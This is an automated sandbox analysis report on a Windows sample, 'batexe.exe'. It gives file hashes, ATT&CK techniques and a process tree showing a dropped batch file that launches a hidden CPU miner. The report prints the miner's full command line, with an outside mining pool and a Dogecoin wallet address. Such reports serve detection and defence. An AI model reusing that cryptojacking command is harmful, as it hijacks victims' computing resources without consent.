73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
303s
max time network
311s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 15:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3144	b2e.exe
3400	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3400	cpuminer-sse2.exe
3400	cpuminer-sse2.exe
3400	cpuminer-sse2.exe
3400	cpuminer-sse2.exe
3400	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1636-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 3144	1636	batexe.exe	81
PID 1636 wrote to memory of 3144	1636	batexe.exe	81
PID 1636 wrote to memory of 3144	1636	batexe.exe	81
PID 3144 wrote to memory of 2840	3144	b2e.exe	82
PID 3144 wrote to memory of 2840	3144	b2e.exe	82
PID 3144 wrote to memory of 2840	3144	b2e.exe	82
PID 2840 wrote to memory of 3400	2840	cmd.exe	85
PID 2840 wrote to memory of 3400	2840	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Users\Admin\AppData\Local\Temp\848.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\848.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\848.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2D93.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\2D93.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\848.tmp\b2e.exe

Filesize
9.7MB

MD5
620a8fad8b6256d89e03c06d5efab0e5

SHA1
e7df326ece06ba00b1e557bbdde20936d9f9253e

SHA256
bfb23ec8a35c70f459df82337a24a83df5a28490f000163aa755e32eb6056796

SHA512
0b5aecbf7352fcd293707ed652746a700f25f01ac47fb4e35a707781a3a69becbaab789ae4702e3b1dd36558ed0a136fc0161ccfa0fbb43b4ff9ab16a374ab9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\848.tmp\b2e.exe

Filesize
6.2MB

MD5
3fe8e9f3bf20f09a704c37928283efac

SHA1
40a06e801a7c7873f0871d79b18f453e92bde05d

SHA256
573e75701c7a150c0b8910a3bb92ecd94d738f5d0fac76078d6fd27a491d2273

SHA512
2f9008d72ab4354c2c5f968ebe32bfa4c6c6f79f3d0838525f0d4b84f35180325327451382e3f73d2e807d62cb2b5130c945d280240574389e8fbe7eb3e6cdef

Download Submit
C:\Users\Admin\AppData\Local\Temp\848.tmp\b2e.exe

Filesize
6.6MB

MD5
6ba09062eb248a0f1b751afc4bf87660

SHA1
11c452373f8d83a160e5a6f4ac0f162d369b0340

SHA256
ead1adfd81c027344fd8863b9ff1d367dfa61bfacf38a9f03cfba695d24e746b

SHA512
a821eee7fa7f70f49f540c97bac1a34875583ea030e4121c8e1abd8da4d89be32cb5eb678c9fbfc1ac82fd2a76c0b7bb9a3964c7eb747ae35ebbefde26db54f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
426fcfa29fb7a6b0c03d91610e666ed7

SHA1
ee572f7c6af8a8deb228d8acc1fc48d76ace0346

SHA256
1c47acd0c0d29b65e97b3ca6ffeec9f4231f65bb61497a34c12945a727d3524a

SHA512
bd3baa5b6c7280221d87f3478de0834a7ca7ace7ef70dbf9c8bb902b253fe7ed4aff2bd82890a9595d22d9bc14ebc3febad7288036bd0b6f5cca356cb683b262

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
b0bbcbe2359d3988eee27c7ae695d1bd

SHA1
fd3aaeaa60f8902b7593b88e775ee19fb549c2ee

SHA256
395f02e0e345bdb325893378f992b325ec79da8dfce5d6cb1d266035cdf4eb61

SHA512
75b787022aee9efc5540bd6a2c5bddd2c2f2f22374cd321fb30a32669737074ee57fc2385fbdb157472b314f5d0bc9008aabd10f6d40c8d281f62a53a10970c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
b7b00c04672caab4e33fc67b72d44986

SHA1
2e297a8179f2615f9b7c260f0087fcdf82b4f438

SHA256
de907bc082ed4fed2fd98c3976bafeb78a825a096d486309a56a722a30b2712c

SHA512
5ba08b3ec479bc950069fa2c677358720f5e1d28d2424291efe89ab676b0763d2ff609e57030c1b384fe70a5c49b5fad3cb14120e29cddbc0f3a12ec685da3e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1636-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3144-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3144-54-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3400-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3400-65-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-47-0x00000000635D0000-0x0000000063668000-memory.dmp

Filesize
608KB

Download
memory/3400-48-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3400-49-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3400-55-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-44-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-70-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-75-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-80-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-85-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-90-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-100-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3400-105-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download